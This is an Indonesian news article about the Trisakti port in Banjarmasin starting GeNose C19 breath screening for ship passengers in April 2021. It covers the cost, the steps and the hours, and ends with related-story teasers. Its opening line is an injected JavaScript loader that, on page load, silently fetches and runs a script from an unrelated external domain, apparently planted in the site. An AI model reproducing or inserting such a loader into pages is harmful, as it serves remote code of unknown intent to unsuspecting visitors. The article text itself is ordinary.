(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Setelah Bandara Syamsudin Noor, kini menyusul Pelabuhan Trisakti Banjarmasin menerapkan penggunaan alat deteksi dini GeNose, guna mengantisipasi penyebaran Covid-19 di kawasan pelabuhan.
Alat GeNose C19 ini sudah mulai dioperasikan bagi penumpang kapal, pada Jumat (23/4/2021).
Regional Manager SDM dan Umum PT Pelindo Regional Kalselteng, Wahyu Eko Yulianto memaparkan, pihaknya telah menjalankan peraturan dari pemerintah dan berpartisipasi dalam langkah memutus penyebaran virus corona.
“Harapannya dengan adanya pemeriksaan di terminal penumpang, kami pastikan mereka yang masuk ke kapal sudah negatif dari covid-19,” ujar Wahyu.
Pihak pelabuhan juga telah menyediakan 2 unit mesin Genose C-19 yang siap beroperasi mulai pukul 13.00 hingga 20.00 Wita.
Baca juga: 7 Jam Tenggelam di Sungai Martapura, Ramadhani Ditemukan Sudah Tak Bernyawa
“Dalam satu hari, kami punya target 200 kantong yang bisa digunakan,” papar Wahyu.
Sementara itu, Andika, seorang calon penumpang kapal langsung mendaftarkan dirinya, tak lama setelah penggunaan mesin GeNose C19 ini resmi diluncurkan pihak pelabuhan. Dirinya mengaku tak keberatan dengan adanya tes GeNose di pelabuhan Trisakti.
“Dibandingkan melakukan swab test, biayanya tentu lebih murah dengan harga Rp30 ribu,” kata Andika.
Tes GeNose C19 ini juga dinilai pria itu lebih praktis pengaplikasiannya dibandingkan dengan swab test atau PCR.
Pada prosesnya, masyarakat akan melalui 3 tahapan umum. Yang pertama calon penumpang mendaftarkan diri kepada petugas dengan menunjukkan KTPnya.
Baca juga: Vaksinasi Tahap Ketiga di Kalsel Target 38 Ribu, Sasar Lansia dan Guru
Langkah kedua, calon penumpang akan melakukan pembayaran di kasir sebesar Rp 30.000 kemudian akan diberikan Breathing bag di mana ia harus meniupnya secara mandiri. Udara yang ditampung di breathing bag itulah nantinya yang akan digunakan untuk dicek di mesin GeNose C19.
Terakhir, hasil dari tes tersebut akan bisa diterima dengan durasi waktu sekitar 3 menit.
Wahyu juga menambahkan, sebelum melakukan tes GeNose ini, ada hal yang sebaiknya dihindari oleh calon penumpang.
Baca juga: Terjun ke Sungai Depan Siring Balaikota Banjarmasin, Ramadhani Belum Ditemukan
“Jadi karena sensitivitas alat ini, maka sebaiknya tidak mengonsumsi makanan/minuman baunya terlalu menyengat. Supaya tidak mengganggu sensitivitas alatnya,” jelas Wahyu.
Jam pelayanan GeNose di terminal penumpang Pelabuhan Trisakti Banjarmasin ini akan berlangsung sejak pukul 13.00 hingga 20.00 Wita.
Berdasarkan SOP, jika seseorang yang telah melakukan tes Genose kemudian terdeteksi covid-19, maka pihak pelabuhan akan mengarahkannya ke Puskesmas terdekat untuk mendapatkan penanganan lebih lanjut.(Kanalkalimantan/Tius)
Foto: tius
Editor: cell
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
This website uses cookies.